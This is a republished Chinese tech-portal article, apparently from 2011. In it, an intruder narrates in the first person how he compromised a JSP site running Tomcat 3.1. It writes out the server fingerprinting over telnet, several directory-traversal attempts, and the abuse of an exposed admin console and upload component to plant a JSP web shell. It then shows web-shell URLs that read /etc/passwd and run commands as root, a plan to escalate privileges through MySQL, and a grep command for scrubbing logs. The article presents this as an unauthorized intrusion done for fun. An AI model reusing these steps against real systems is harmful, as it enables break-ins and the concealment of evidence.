中国企业电子商务门户 广告合作电话:400-008-8128
中国企业电子商务网首页 下载 旧版回顾
商务
中心
热门关键词:
每日推荐榜
热点图片
资讯点击排行榜
专题推荐
会务活动
电商培训
您的位置: 首页 -> 网络服务 -> 网络安全

黑客攻击技术 WEB网站入侵的过程

来源:企业级IT信息服务平台-网界网   2011/2/24 10:31:02
摘要:很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。

 很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。
    telnet www.target.com 8080
    GET /CHINANSL HTTP/1.1
    [Enter]
    [Enter]
    返回的结果如下:
    HTTP/1.0 404 Not Found
    Date: Sun, 08 Jul 2001 07:49:13 GMT
    Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
    .2.12 i386; java.vendor=Blackdown Java-Linux Team)
    Content-Language: en
    Content-Type: text/html
    Status: 404
    Error: 404
    Location: /CHINANSLFile Not Found/CHINANSL
    我获得了运行的WEBServer的名称"Tomcat 3.1"。我记得我曾经发现过这个版本的漏洞,并且post到bugtrap上去过。大概是:通过""技术可以退出WEB目录,于是:
    http://target:8080/////%00.jsp (不行)
    http://target:8080/file/index.jsp (不行)
    http://target:8080/index.JSP (不行)
    http://target:8080/index.jsp%81 (不行)
    http://target:8080/index.js%70 (不行)
    http://target:8080/index.jsp%2581 (不行)
    http://target:8080/WEB-INF/ (不行)
    嗯,在试试吧!Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context.试一下:http://target:8080/admin/ ,管理员果然没有删除或禁止访问这个目录。接着我点"VIEW ALL CONTEXT"按钮,列出了WEB目录下的一些文件和目录的名称,我开始仔细的看了起来,一小会儿,发现了一个上传文件的组件,嘿嘿,写一个jsp文件弄上去看看。几口咖啡的时间,我写了这么一个东东出来:
    通过上传的组件将这个jsp上传到对方的WEB目录里,然后:
    http://target:8080/upload/test.jsp?file=/etc/passwd
    嘿嘿,密码出来啦。我只看了"/etc/passwd",并没有看"/etc/shadow",因为当时考虑webserver一般使用nobody的身份启动的,看了也白看。(失误)接下来的过程是无聊的猜测密码,没有成功。算了,那我只有将就点,反正现在我相当于有了一个shell了嘛,猜不出密码上去,那就全当IE是我的SHELL环境吧!
    再写:
    然后把这个jsp又通过upload上传了上去,嘿嘿,我现在有个SHELL了。
    http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
    (我这里就不列出来了)
    怎么获得root呢?经过一番搜索我发现了系统安装了mysql并且我从jsp的源代码中得到了mysql的密码:)看看是什么权限运行的mysql:
    sqld">http://target:8080/upload/cmd.jsp?cmd=ps+aux+ grep+mysqld
    显示:
    root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql
    嘿嘿,有办法了,系统是以root身份运行的mysql,同时我知道了mysql的密码,那我现在我可以写一个shell程序,让它create一个表,然后将我的数据放到表中,然后再使用"select … into outfile;"的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?hacker就采用的这种办法)。
    然后,我再上传bindshell之类的程序,运行、获得nobody的权限,然后……再使用su root时帮忙创建的setuid shell让自己成为root.嘿嘿,真是好办法,我都为我的想法感到得意……
    接下去的事情,差点没让我吐血:
    我敲了一个:http://target:8080/upload/cmd.jsp?cmd=id
    显示:
    uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
    我的这个WEB SHELL本来就是ROOT,真是服了那个管理员,也服了自己。竟然折腾了这么半天,哎!
    http://target:8080/upload/cmd.jsp?cmd=ps+aux
    果然是root身份运行的(不列出来了)
    剩下来的事情:
    1、删除我的telnet记录。
    2、删除http的日志。
    至于清除日志嘛,我使用的办法是:cat xxx  grep -V "IP" 》temp然后在把temp覆盖那些被我修改过的日志文件。

关键字:黑客,WEB网站入侵

相关链接
·中国盗版Windows传播Nitol病毒引发微软打击
·360工程师利用漏洞谋私 用户担心"守夜人"监守自盗
·全球最大电邮列表服务商用户数据被窃
·黑客利用日本地震和海啸发送恶意邮件
·CNCERT:2010年大陆4635个政府网站遭黑客篡改
·报告称9成企业内网曾遭入侵 8成攻击源来国外
·十大病毒集团操控八成病毒传播 一年获益数亿
·企业数据库系统防黑客入侵技术全解析
网友评论
暂无评论。[我要评论]
热点推荐
更多
 
企业服务
更多
 
推广信息
更多
 
全国包运!日立AH4021 125M中文无线路由器!ADSL猫/WAN口/保一年
79.0元 
全国包邮N450秒杀疯抢★超薄13寸intel凌动笔记本电脑上网本本
1850.0元 
特价秒杀1378 !索 尼10寸迷你上网本 笔记本电脑N450 384显卡!
1600.0元 
联想笔记本电脑/联想 Y460A-IFI(灰)/Y460 i5/粉丝价
5949.0元 
关于我们 | 广告服务 | 网站服务 | 会员服务 | 新闻投稿 | 网站地图 | 合作机会 | 本网动态 | 友情链接 | 联系我们
中华人民共和国 京ICP备07036294号 Copyright©2005-2016 中国企业电子商务网 All Rights Reserved. 京公网安备 110101001708
法律顾问机构:中国企业电子商务法律咨询中心 律师声明:版权所有,盗版必究
网站热线:400-008-8128 E-Mail: webmaster@ccecw.com
战略合作伙伴: APEC电子商务工商联盟论坛 电子商务协会电子商务文化节 数字100调查 国家创新大会 美通社(亚洲)